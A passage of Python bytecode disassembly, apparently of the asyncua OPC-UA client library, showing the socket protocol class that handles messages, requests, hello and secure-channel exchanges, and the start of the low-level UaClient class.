'UASocketProtocol.connection_made' MAKE_FUNCTION STORE_NAME connection_made LOAD_NAME Optional LOAD_NAME Exception BINARY_SUBSCR LOAD_CONST ('exc',) BUILD_CONST_KEY_MAP LOAD_CONST <code object connection_lost at 0x7fab541051e0, file "f.py", line 77> LOAD_CONST 'UASocketProtocol.connection_lost' MAKE_FUNCTION STORE_NAME connection_lost LOAD_NAME bytes LOAD_CONST ('data',) BUILD_CONST_KEY_MAP LOAD_CONST <code object data_received at 0x7fab7002bed0, file "f.py", line 82> LOAD_CONST 'UASocketProtocol.data_received' MAKE_FUNCTION STORE_NAME data_received LOAD_NAME bytes LOAD_CONST ('data',) BUILD_CONST_KEY_MAP LOAD_CONST <code object _process_received_data at 0x7fab7002bf60, file "f.py", line 88> LOAD_CONST 'UASocketProtocol._process_received_data' MAKE_FUNCTION STORE_NAME _process_received_data LOAD_NAME Union LOAD_NAME ua LOAD_ATTR Message LOAD_NAME ua LOAD_ATTR Acknowledge LOAD_NAME ua LOAD_ATTR ErrorMessage BUILD_TUPLE BINARY_SUBSCR LOAD_CONST ('msg',) BUILD_CONST_KEY_MAP LOAD_CONST <code object _process_received_message at 0x7fab7002b9c0, file "f.py", line 141> LOAD_CONST 'UASocketProtocol._process_received_message' MAKE_FUNCTION STORE_NAME _process_received_message LOAD_CONST 1 LOAD_NAME ua LOAD_ATTR MessageType LOAD_ATTR SecureMessage BUILD_TUPLE LOAD_NAME float LOAD_NAME asyncio LOAD_ATTR Future LOAD_CONST ('timeout', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object _send_request at 0x7fab640fab70, file "f.py", line 158> LOAD_CONST 'UASocketProtocol._send_request' MAKE_FUNCTION STORE_NAME _send_request LOAD_CONST None LOAD_NAME ua LOAD_ATTR MessageType LOAD_ATTR SecureMessage BUILD_TUPLE LOAD_NAME Optional LOAD_NAME float BINARY_SUBSCR LOAD_CONST ('timeout',) BUILD_CONST_KEY_MAP LOAD_CONST <code object send_request at 0x7fab640fa660, file "f.py", line 190> LOAD_CONST 'UASocketProtocol.send_request' MAKE_FUNCTION STORE_NAME send_request LOAD_CONST <code object check_answer at 0x7fab640fa5d0, file "f.py", line 216> LOAD_CONST 'UASocketProtocol.check_answer' MAKE_FUNCTION STORE_NAME check_answer LOAD_CONST <code object _call_callback at 0x7fab640faed0, file "f.py", line 233> LOAD_CONST 'UASocketProtocol._call_callback' MAKE_FUNCTION STORE_NAME _call_callback LOAD_CONST (1,) LOAD_NAME ua LOAD_ATTR RequestHeader LOAD_CONST None LOAD_CONST ('hdr', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object _setup_request_header at 0x7fab640fa780, file "f.py", line 251> LOAD_CONST 'UASocketProtocol._setup_request_header' MAKE_FUNCTION STORE_NAME _setup_request_header LOAD_CONST <code object disconnect_socket at 0x7fab640fac90, file "f.py", line 261> LOAD_CONST 'UASocketProtocol.disconnect_socket' MAKE_FUNCTION STORE_NAME disconnect_socket LOAD_CONST (0, 0) LOAD_NAME int LOAD_NAME int LOAD_CONST ('max_messagesize', 'max_chunkcount') BUILD_CONST_KEY_MAP LOAD_CONST <code object send_hello at 0x7fab640fa150, file "f.py", line 268> LOAD_CONST 'UASocketProtocol.send_hello' MAKE_FUNCTION STORE_NAME send_hello LOAD_CONST <code object open_secure_channel at 0x7fab700e48a0, file "f.py", line 279> LOAD_CONST 'UASocketProtocol.open_secure_channel' MAKE_FUNCTION STORE_NAME open_secure_channel LOAD_CONST <code object close_secure_channel at 0x7fab700e4300, file "f.py", line 297> LOAD_CONST 'UASocketProtocol.close_secure_channel' MAKE_FUNCTION STORE_NAME close_secure_channel LOAD_CONST None RETURN_VALUE LOAD_GLOBAL logging LOAD_METHOD getLogger LOAD_GLOBAL __name__ FORMAT_VALUE LOAD_CONST '.UASocketProtocol' BUILD_STRING CALL_METHOD LOAD_FAST self STORE_ATTR logger LOAD_CONST None LOAD_FAST self STORE_ATTR transport LOAD_CONST None LOAD_FAST self STORE_ATTR receive_buffer LOAD_CONST False LOAD_FAST self STORE_ATTR is_receiving LOAD_FAST timeout LOAD_FAST self STORE_ATTR timeout LOAD_GLOBAL ua LOAD_METHOD NodeId CALL_METHOD LOAD_FAST self STORE_ATTR authentication_token LOAD_CONST 0 LOAD_FAST self STORE_ATTR _request_id LOAD_CONST 0 LOAD_FAST self STORE_ATTR _request_handle BUILD_MAP LOAD_FAST self STORE_ATTR _callbackmap LOAD_FAST limits LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_GLOBAL TransportLimits LOAD_CONST 65535 LOAD_CONST 65535 LOAD_CONST 0 LOAD_CONST 0 CALL_FUNCTION STORE_FAST limits JUMP_FORWARD to 104 LOAD_GLOBAL copy LOAD_METHOD deepcopy LOAD_FAST limits CALL_METHOD STORE_FAST limits LOAD_GLOBAL SecureConnection LOAD_FAST security_policy LOAD_FAST limits CALL_FUNCTION LOAD_FAST self STORE_ATTR _connection LOAD_FAST self LOAD_ATTR INITIALIZED LOAD_FAST self STORE_ATTR state LOAD_CONST False LOAD_FAST self STORE_ATTR closed LOAD_CONST None LOAD_FAST self STORE_ATTR _open_secure_channel_exchange LOAD_CONST None LOAD_FAST self STORE_ATTR pre_request_hook LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR OPEN LOAD_FAST self STORE_ATTR state LOAD_FAST transport LOAD_FAST self STORE_ATTR transport LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR logger LOAD_METHOD info LOAD_CONST 'Socket has closed connection' CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR CLOSED LOAD_FAST self STORE_ATTR state LOAD_CONST None LOAD_FAST self STORE_ATTR transport LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR receive_buffer POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR receive_buffer LOAD_FAST data BINARY_ADD STORE_FAST data LOAD_CONST None LOAD_FAST self STORE_ATTR receive_buffer LOAD_FAST self LOAD_METHOD _process_received_data LOAD_FAST data CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL ua LOAD_ATTR utils LOAD_METHOD Buffer LOAD_FAST data CALL_METHOD STORE_FAST buf EXTENDED_ARG SETUP_LOOP to 348 SETUP_EXCEPT to 240 SETUP_EXCEPT to 32 LOAD_GLOBAL header_from_binary LOAD_FAST buf CALL_FUNCTION STORE_FAST header POP_BLOCK JUMP_FORWARD to 74 DUP_TOP LOAD_GLOBAL ua LOAD_ATTR utils LOAD_ATTR NotEnoughData COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP LOAD_FAST self LOAD_ATTR logger LOAD_METHOD debug LOAD_CONST 'Not enough data while parsing header from server, waiting for more' CALL_METHOD POP_TOP LOAD_FAST data LOAD_FAST self STORE_ATTR receive_buffer LOAD_CONST None RETURN_VALUE END_FINALLY LOAD_GLOBAL len LOAD_FAST buf CALL_FUNCTION LOAD_FAST header LOAD_ATTR body_size COMPARE_OP < POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR logger LOAD_METHOD debug LOAD_CONST 'We did not receive enough data from server. Need %s got %s' LOAD_FAST header LOAD_ATTR body_size LOAD_GLOBAL len LOAD_FAST buf CALL_FUNCTION CALL_METHOD POP_TOP LOAD_FAST data LOAD_FAST self STORE_ATTR receive_buffer LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _connection LOAD_METHOD receive_from_header_and_body LOAD_FAST header LOAD_FAST buf CALL_METHOD STORE_FAST msg LOAD_FAST self LOAD_METHOD _process_received_message LOAD_FAST msg CALL_METHOD POP_TOP LOAD_FAST header LOAD_ATTR MessageType LOAD_GLOBAL ua LOAD_ATTR MessageType LOAD_ATTR SecureOpen COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR _open_secure_channel_exchange STORE_FAST params LOAD_GLOBAL struct_from_binary LOAD_GLOBAL ua LOAD_ATTR OpenSecureChannelResponse LOAD_FAST msg LOAD_METHOD body CALL_METHOD CALL_FUNCTION STORE_FAST response LOAD_FAST response LOAD_ATTR ResponseHeader LOAD_ATTR ServiceResult LOAD_METHOD check CALL_METHOD POP_TOP LOAD_FAST response LOAD_FAST self STORE_ATTR _open_secure_channel_exchange LOAD_FAST self LOAD_ATTR _connection LOAD_METHOD set_channel LOAD_FAST response LOAD_ATTR Parameters LOAD_FAST params LOAD_ATTR RequestType LOAD_FAST params LOAD_ATTR ClientNonce CALL_METHOD POP_TOP LOAD_FAST buf POP_JUMP_IF_TRUE LOAD_CONST None RETURN_VALUE LOAD_GLOBAL bytes LOAD_FAST buf CALL_FUNCTION STORE_FAST data POP_BLOCK JUMP_ABSOLUTE DUP_TOP LOAD_GLOBAL ua LOAD_ATTR UaStatusCodeError COMPARE_OP exception match EXTENDED_ARG POP_JUMP_IF_FALSE POP_TOP STORE_FAST e POP_TOP SETUP_FINALLY to 290 LOAD_FAST self LOAD_ATTR logger LOAD_METHOD error LOAD_CONST 'Got error status from server: {}' LOAD_METHOD format LOAD_FAST e CALL_METHOD CALL_METHOD POP_TOP LOAD_FAST self LOAD_METHOD disconnect_socket CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_CONST None STORE_FAST e DELETE_FAST e END_FINALLY POP_EXCEPT JUMP_ABSOLUTE DUP_TOP LOAD_GLOBAL Exception COMPARE_OP exception match EXTENDED_ARG POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP LOAD_FAST self LOAD_ATTR logger LOAD_METHOD exception LOAD_CONST 'Exception raised while parsing message from server' CALL_METHOD POP_TOP LOAD_FAST self LOAD_METHOD disconnect_socket CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE END_FINALLY JUMP_ABSOLUTE POP_BLOCK LOAD_CONST None RETURN_VALUE LOAD_FAST msg LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE JUMP_FORWARD to 142 LOAD_GLOBAL isinstance LOAD_FAST msg LOAD_GLOBAL ua LOAD_ATTR Message CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_FAST self LOAD_METHOD _call_callback LOAD_FAST msg LOAD_METHOD request_id CALL_METHOD LOAD_FAST msg LOAD_METHOD body CALL_METHOD CALL_METHOD POP_TOP JUMP_FORWARD to 142 LOAD_GLOBAL isinstance LOAD_FAST msg LOAD_GLOBAL ua LOAD_ATTR Acknowledge CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_FAST self LOAD_METHOD _call_callback LOAD_CONST 0 LOAD_FAST msg CALL_METHOD POP_TOP JUMP_FORWARD to 142 LOAD_GLOBAL isinstance LOAD_FAST msg LOAD_GLOBAL ua LOAD_ATTR ErrorMessage CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR logger LOAD_METHOD fatal LOAD_CONST 'Received an error: %r' LOAD_FAST msg CALL_METHOD POP_TOP LOAD_FAST self LOAD_METHOD disconnect_socket CALL_METHOD POP_TOP LOAD_FAST msg LOAD_ATTR Error LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST msg LOAD_ATTR Error LOAD_METHOD check CALL_METHOD POP_TOP JUMP_FORWARD to 142 LOAD_GLOBAL ua LOAD_METHOD UaError LOAD_CONST 'Unsupported message type: ' LOAD_FAST msg FORMAT_VALUE BUILD_STRING CALL_METHOD RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_METHOD _setup_request_header LOAD_FAST request LOAD_ATTR RequestHeader LOAD_FAST timeout CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR logger LOAD_METHOD debug LOAD_CONST 'Sending: %s' LOAD_FAST request CALL_METHOD POP_TOP SETUP_EXCEPT to 42 LOAD_GLOBAL struct_to_binary LOAD_FAST request CALL_FUNCTION STORE_FAST binreq POP_BLOCK JUMP_FORWARD to 78 DUP_TOP LOAD_GLOBAL Exception COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP LOAD_FAST self DUP_TOP LOAD_ATTR _request_handle LOAD_CONST 1 INPLACE_SUBTRACT ROT_TWO STORE_ATTR _request_handle RAISE_VARARGS POP_EXCEPT JUMP_FORWARD to 78 END_FINALLY LOAD_FAST self DUP_TOP LOAD_ATTR _request_id LOAD_CONST 1 INPLACE_ADD ROT_TWO STORE_ATTR _request_id LOAD_GLOBAL asyncio LOAD_METHOD get_running_loop CALL_METHOD LOAD_METHOD create_future CALL_METHOD STORE_FAST future LOAD_FAST future LOAD_FAST self LOAD_ATTR _callbackmap LOAD_FAST self LOAD_ATTR _request_id STORE_SUBSCR LOAD_FAST self LOAD_ATTR _connection LOAD_ATTR next_security_token LOAD_ATTR TokenId LOAD_CONST 0 COMPARE_OP != POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR _connection LOAD_METHOD revolve_tokens CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR _connection LOAD_ATTR message_to_binary LOAD_FAST binreq LOAD_FAST message_type LOAD_FAST self LOAD_ATTR _request_id LOAD_CONST ('message_type', 'request_id') CALL_FUNCTION STORE_FAST msg LOAD_FAST self LOAD_ATTR transport LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR transport LOAD_METHOD write LOAD_FAST msg CALL_METHOD POP_TOP LOAD_FAST future RETURN_VALUE LOAD_FAST timeout LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR timeout JUMP_FORWARD to 16 LOAD_FAST timeout STORE_FAST timeout LOAD_FAST self LOAD_ATTR pre_request_hook POP_JUMP_IF_FALSE LOAD_FAST self LOAD_METHOD pre_request_hook CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM POP_TOP SETUP_EXCEPT to 80 LOAD_GLOBAL asyncio LOAD_METHOD wait_for LOAD_FAST self LOAD_METHOD _send_request LOAD_FAST request LOAD_FAST timeout LOAD_FAST message_type CALL_METHOD LOAD_FAST timeout POP_JUMP_IF_FALSE LOAD_FAST timeout JUMP_FORWARD to 66 LOAD_CONST None CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM STORE_FAST data POP_BLOCK JUMP_FORWARD to 124 DUP_TOP LOAD_GLOBAL Exception COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP LOAD_FAST self LOAD_ATTR state LOAD_FAST self LOAD_ATTR OPEN COMPARE_OP != POP_JUMP_IF_FALSE LOAD_GLOBAL ConnectionError LOAD_CONST 'Connection is closed' CALL_FUNCTION LOAD_CONST None RAISE_VARARGS RAISE_VARARGS POP_EXCEPT JUMP_FORWARD to 124 END_FINALLY LOAD_FAST self LOAD_METHOD check_answer LOAD_FAST data LOAD_CONST ' in response to ' LOAD_FAST request LOAD_ATTR __class__ LOAD_ATTR __name__ FORMAT_VALUE BUILD_STRING CALL_METHOD POP_TOP LOAD_FAST data RETURN_VALUE LOAD_FAST data LOAD_METHOD copy CALL_METHOD STORE_FAST data LOAD_GLOBAL nodeid_from_binary LOAD_FAST data CALL_FUNCTION STORE_FAST typeid LOAD_FAST typeid LOAD_GLOBAL ua LOAD_METHOD FourByteNodeId LOAD_GLOBAL ua LOAD_ATTR ObjectIds LOAD_ATTR ServiceFault_Encoding_DefaultBinary CALL_METHOD COMPARE_OP == POP_JUMP_IF_FALSE LOAD_GLOBAL struct_from_binary LOAD_GLOBAL ua LOAD_ATTR ResponseHeader LOAD_FAST data CALL_FUNCTION STORE_FAST hdr LOAD_FAST self LOAD_ATTR logger LOAD_METHOD warning LOAD_CONST 'ServiceFault (%s, diagnostics: %s) from server received %s' LOAD_FAST hdr LOAD_ATTR ServiceResult LOAD_ATTR name LOAD_FAST hdr LOAD_ATTR ServiceDiagnostics LOAD_FAST context CALL_METHOD POP_TOP LOAD_FAST hdr LOAD_ATTR ServiceResult LOAD_METHOD check CALL_METHOD POP_TOP LOAD_CONST False RETURN_VALUE LOAD_CONST True RETURN_VALUE SETUP_EXCEPT to 22 LOAD_FAST self LOAD_ATTR _callbackmap LOAD_FAST request_id BINARY_SUBSCR LOAD_METHOD set_result LOAD_FAST body CALL_METHOD POP_TOP POP_BLOCK JUMP_FORWARD to 150 DUP_TOP LOAD_GLOBAL KeyError COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP STORE_FAST ex POP_TOP SETUP_FINALLY to 78 LOAD_GLOBAL ua LOAD_METHOD UaError LOAD_CONST 'No request found for request id: ' LOAD_FAST request_id FORMAT_VALUE LOAD_CONST ', pending are ' LOAD_FAST self LOAD_ATTR _callbackmap LOAD_METHOD keys CALL_METHOD FORMAT_VALUE LOAD_CONST ', body was ' LOAD_FAST body FORMAT_VALUE BUILD_STRING CALL_METHOD LOAD_FAST ex RAISE_VARARGS POP_BLOCK LOAD_CONST None LOAD_CONST None STORE_FAST ex DELETE_FAST ex END_FINALLY POP_EXCEPT JUMP_FORWARD to 150 DUP_TOP LOAD_GLOBAL asyncio LOAD_ATTR InvalidStateError COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP LOAD_FAST self LOAD_ATTR closed POP_JUMP_IF_TRUE LOAD_FAST self LOAD_ATTR logger LOAD_METHOD warning LOAD_CONST 'Future for request id %s is already done' LOAD_FAST request_id CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR logger LOAD_METHOD debug LOAD_CONST 'Future for request id %s not handled due to disconnect' LOAD_FAST request_id CALL_METHOD POP_TOP POP_EXCEPT JUMP_FORWARD to 150 END_FINALLY LOAD_FAST self LOAD_ATTR _callbackmap LOAD_FAST request_id DELETE_SUBSCR LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR authentication_token LOAD_FAST hdr STORE_ATTR AuthenticationToken LOAD_FAST self DUP_TOP LOAD_ATTR _request_handle LOAD_CONST 1 INPLACE_ADD ROT_TWO STORE_ATTR _request_handle LOAD_FAST self LOAD_ATTR _request_handle LOAD_FAST hdr STORE_ATTR RequestHandle LOAD_GLOBAL int LOAD_FAST timeout LOAD_CONST 1000 BINARY_MULTIPLY CALL_FUNCTION LOAD_FAST hdr STORE_ATTR TimeoutHint LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR logger LOAD_METHOD info LOAD_CONST 'Request to close socket received' CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR transport POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR transport LOAD_METHOD close CALL_METHOD POP_TOP JUMP_FORWARD to 42 LOAD_FAST self LOAD_ATTR logger LOAD_METHOD warning LOAD_CONST 'disconnect_socket was called but transport is None' CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL ua LOAD_METHOD Hello CALL_METHOD STORE_FAST hello LOAD_FAST url LOAD_FAST hello STORE_ATTR EndpointUrl LOAD_FAST max_messagesize LOAD_FAST hello STORE_ATTR MaxMessageSize LOAD_FAST max_chunkcount LOAD_FAST hello STORE_ATTR MaxChunkCount LOAD_GLOBAL asyncio LOAD_METHOD Future CALL_METHOD STORE_FAST ack LOAD_FAST ack LOAD_FAST self LOAD_ATTR _callbackmap LOAD_CONST 0 STORE_SUBSCR LOAD_FAST self LOAD_ATTR transport LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR transport LOAD_METHOD write LOAD_GLOBAL uatcp_to_binary LOAD_GLOBAL ua LOAD_ATTR MessageType LOAD_ATTR Hello LOAD_FAST hello CALL_FUNCTION CALL_METHOD POP_TOP LOAD_GLOBAL asyncio LOAD_METHOD wait_for LOAD_FAST ack LOAD_FAST self LOAD_ATTR timeout CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM RETURN_VALUE LOAD_FAST self LOAD_ATTR logger LOAD_METHOD info LOAD_CONST 'open_secure_channel' CALL_METHOD POP_TOP LOAD_GLOBAL ua LOAD_METHOD OpenSecureChannelRequest CALL_METHOD STORE_FAST request LOAD_FAST params LOAD_FAST request STORE_ATTR Parameters LOAD_FAST self LOAD_ATTR _open_secure_channel_exchange LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_GLOBAL RuntimeError LOAD_CONST 'Two Open Secure Channel requests can not happen too close to each other. The response must be processed and returned before the next request can be sent.' CALL_FUNCTION RAISE_VARARGS LOAD_FAST params LOAD_FAST self STORE_ATTR _open_secure_channel_exchange LOAD_GLOBAL asyncio LOAD_METHOD wait_for LOAD_FAST self LOAD_ATTR _send_request LOAD_FAST request LOAD_GLOBAL ua LOAD_ATTR MessageType LOAD_ATTR SecureOpen LOAD_CONST ('message_type',) CALL_FUNCTION LOAD_FAST self LOAD_ATTR timeout CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM POP_TOP LOAD_FAST self LOAD_ATTR _open_secure_channel_exchange LOAD_ATTR Parameters STORE_FAST _return LOAD_CONST None LOAD_FAST self STORE_ATTR _open_secure_channel_exchange LOAD_FAST _return RETURN_VALUE LOAD_FAST self LOAD_ATTR logger LOAD_METHOD info LOAD_CONST 'close_secure_channel' CALL_METHOD POP_TOP LOAD_GLOBAL ua LOAD_METHOD CloseSecureChannelRequest CALL_METHOD STORE_FAST request LOAD_FAST self LOAD_ATTR _send_request LOAD_FAST request LOAD_GLOBAL ua LOAD_ATTR MessageType LOAD_ATTR SecureClose LOAD_CONST ('message_type',) CALL_FUNCTION STORE_FAST future LOAD_FAST future LOAD_METHOD cancel CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR _callbackmap LOAD_METHOD clear CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'UaClient' STORE_NAME __qualname__ LOAD_CONST '\n low level OPC-UA client.\n\n It implements (almost) all methods defined in asyncua spec\n taking in argument the structures defined in asyncua spec.\n\n In this Python implementation most of the structures are defined in\n uaprotocol_auto.py and uaprotocol_hand.py available under asyncua.ua\n ' STORE_NAME __doc__ LOAD_CONST (1.0,) LOAD_NAME float LOAD_CONST ('timeout',) BUILD_CONST_KEY_MAP LOAD_CONST <code object __init__ at 0x7fab700e4420, file "f.py", line 322> LOAD_CONST 'UaClient.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_NAME ua LOAD_ATTR SecurityPolicy LOAD_CONST ('policy',) BUILD_CONST_KEY_MAP LOAD_CONST <code object set_security at 0x7fab700e4c00, file "f.py", line 335> LOAD_CONST 'UaClient.set_security' MAKE_FUNCTION STORE_NAME set_security LOAD_CONST <code object _make_protocol at 0x7fab700e4db0, file "f.py", line 338> LOAD_CONST 'UaClient._make_protocol' MAKE_FUNCTION STORE_NAME _make_protocol LOAD_NAME property LOAD_NAME Optional LOAD_NAME Callable BUILD_LIST LOAD_NAME Awaitable LOAD_CONST None BINARY_SUBSCR BUILD_TUPLE BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object pre_request_hook at 0x7fab700e4c90, file "f.py", line 345> LOAD_CONST 'UaClient.pre_request_hook' MAKE_FUNCTION CALL_FUNCTION STORE_NAME pre_request_hook LOAD_NAME pre_request_hook LOAD_ATTR setter LOAD_NAME Optional LOAD_NAME Callable BUILD_LIST LOAD_NAME Awaitable LOAD_CONST None BINARY_SUBSCR BUILD_TUPLE BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('hook',) BUILD_CONST_KEY_MAP LOAD_CONST <code object pre_request_hook at 0x7fab700e4ae0, file "f.py", line 349> LOAD_CONST 'UaClient.pre_request_hook' MAKE_FUNCTION CALL_FUNCTION STORE_NAME pre_request_hook LOAD_NAME str LOAD_NAME int LOAD_CONST ('host', 'port') BUILD_CONST_KEY_MAP LOAD_CONST <code object connect_socket at 0x7fab700e49c0, file "f.py", line 355> LOAD_CONST 'UaClient.connect_socket' MAKE_FUNCTION STORE_NAME connect_socket LOAD_CONST <code object disconnect_socket at 0x7fab700e4d20, file "f.py", line 366> LOAD_CONST 'UaClient.disconnect_socket' MAKE_FUNCTION STORE_NAME disconnect_socket LOAD_CONST (0, 0) LOAD_NAME int LOAD_NAME int LOAD_CONST ('max_messagesize', 'max_chunkcount') BUILD_CONST_KEY_MAP LOAD_CONST <code object send_hello at 0x7fab700e4540, file "f.py", line 375> LOAD_CONST 'UaClient.send_hello' MAKE_FUNCTION STORE_NAME send_hello LOAD_CONST <code object open_secure_channel at 0x7fab700e4030, file "f.py", line 378> LOAD_CONST 'UaClient.open_secure_channel' MAKE_FUNCTION STORE_NAME open_secure_channel LOAD_CONST <code object close_secure_channel at 0x7fab700e4a50, file "f.py", line 381> LOAD_CONST 'UaClient.close_secure_channel' MAKE_FUNCTION STORE_NAME close_secure_channel LOAD_CONST <code object create_session at 0x7fab700e4f60, file "f.py", line 393> LOAD_CONST 'UaClient.create_session' MAKE_FUNCTION STORE_NAME create_session LOAD_CONST <code object activate_session at 0x7fab700e4660, file "f.py", line 406> LOAD_CONST 'UaClient.activate_session' MAKE_FUNCTION STORE_NAME activate_session LOAD_CONST <code object close_session at 0x7fab700e4ed0, file "f.py", line 416> LOAD_CONST 'UaClient.close_session' MAKE_FUNCTION STORE_NAME close_session LOAD_CONST <code object browse at 0x7fab700e4150, file "f.py", line 439> LOAD_CONST 'UaClient.browse' MAKE_FUNCTION STORE_NAME browse LOAD_CONST <code object browse_next at 0x7fab700e40c0, file "f.py", line 449> LOAD_CONST 'UaClient.browse_next' MAKE_FUNCTION STORE_NAME browse_next LOAD_CONST <code object read at 0x7fab700e41e0, file "f.py", line 459> LOAD_CONST 'UaClient.read' MAKE_FUNCTION STORE_NAME read LOAD_CONST <code object write at 0x7fab700e4390, file "f.py", line 469> LOAD_CONST 'UaClient.write' MAKE_FUNCTION STORE_NAME write LOAD_CONST <code object get_endpoints at 0x7fae2f3b18a0, file "f.py", line 479> LOAD_CONST 'UaClient.get_endpoints' MAKE_FUNCTION STORE_NAME get_endpoints LOAD_CONST <code object find_servers at 0x7fae2f3b1780, file "f.py", line 489> LOAD_CONST 'UaClient.find_servers' MAKE_FUNCTION STORE_NAME find_servers LOAD_CONST <code object find_servers_on_network at 0x7fae2f3b14b0, file "f.py", line 499> LOAD_CONST 'UaClient.find_servers_on_network' MAKE_FUNCTION STORE_NAME find_servers_on_network LOAD_CONST <code object register_server at 0x7fae2f3b11e0, file "f.py", line 509> LOAD_CONST 'UaClient.register_server' MAKE_FUNCTION STORE_NAME register_server LOAD_CONST <code object unregister_server at 0x7fae2f3b1030, file "f.py", line 518> LOAD_CONST 'UaClient.unregister_server' MAKE_FUNCTION STORE_NAME unregister_server LOAD_CONST <code object register_server2 at 0x7fab81f0bc00, file "f.py", line 527> LOAD_CONST 'UaClient.register_server2' MAKE_FUNCTION STORE_NAME register_server2 LOAD_CONST <code object unregister_server2 at 0x7fab81f0b030, file "f.py", line 537> LOAD_CONST 'UaClient.unregister_server2' MAKE_FUNCTION STORE_NAME unregister_server2 LOAD_CONST <code object translate_browsepaths_to_nodeids at 0x7fab81f0b5d0, file "f.py", line 547> LOAD_CONST 'UaClient.translate_browsepaths_to_nodeids' MAKE_FUNCTION STORE_NAME translate_browsepaths_to_nodeids LOAD_NAME ua LOAD_ATTR CreateSubscriptionParameters LOAD_NAME ua LOAD_ATTR CreateSubscriptionResult LOAD_CONST ('params', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object create_subscription at 0x7fab81f0b300, file "f.py", line 557> LOAD_CONST 'UaClient.create_subscription' MAKE_FUNCTION STORE_NAME create_subscription LOAD_NAME ua LOAD_ATTR StatusCode LOAD_CONST ('status',) BUILD_CONST_KEY_MAP LOAD_CONST <code object inform_subscriptions at 0x7fab81f0b8a0, file "f.py", line 575> LOAD_CONST 'UaClient.inform_subscriptions' MAKE_FUNCTION STORE_NAME inform_subscriptions LOAD_NAME ua LOAD_ATTR ModifySubscriptionParameters LOAD_NAME ua LOAD_ATTR ModifySubscriptionResult LOAD_CONST ('params', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object update_subscription at 0x7fab81f0b1e0, file "f.py", line 593> LOAD_CONST 'UaClient.update_subscription' MAKE_FUNCTION STORE_NAME update_subscription LOAD_NAME update_subscription STORE_NAME modify_subscription LOAD_CONST <code object delete_subscriptions at 0x7fab81f0b660, file "f.py", line 608> LOAD_CONST 'UaClient.delete_subscriptions' MAKE_FUNCTION STORE_NAME delete_subscriptions LOAD_NAME List LOAD_NAME ua LOAD_ATTR SubscriptionAcknowledgement BINARY_SUBSCR LOAD_NAME ua LOAD_ATTR PublishResponse LOAD_CONST ('acks', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object publish at 0x7fab820a14b0, file "f.py", line 620> LOAD_CONST 'UaClient.publish' MAKE_FUNCTION STORE_NAME publish LOAD_CONST <code object _publish_loop at 0x7fab820a1b70, file "f.py", line 638> LOAD_CONST 'UaClient._publish_loop' MAKE_FUNCTION STORE_NAME _publish_loop LOAD_CONST <code object create_monitored_items at 0x7fab820a1030, file "f.py", line 686> LOAD_CONST 'UaClient.create_monitored_items' MAKE_FUNCTION STORE_NAME create_monitored_items LOAD_CONST <code object delete_monitored_items at 0x7fab820a1660, file "f.py", line 696> LOAD_CONST 'UaClient.delete_monitored_items' MAKE_FUNCTION STORE_NAME delete_monitored_items LOAD_CONST <code object add_nodes at 0x7fab820a11e0, file "f.py", line 706> LOAD_CONST 'UaClient.add_nodes' MAKE_FUNCTION STORE_NAME add_nodes LOAD_CONST <code object add_references at 0x7fab820a1a50, file "f.py", line 716> LOAD_CONST 'UaClient.add_references' MAKE_FUNCTION STORE_NAME add_references LOAD_CONST <code 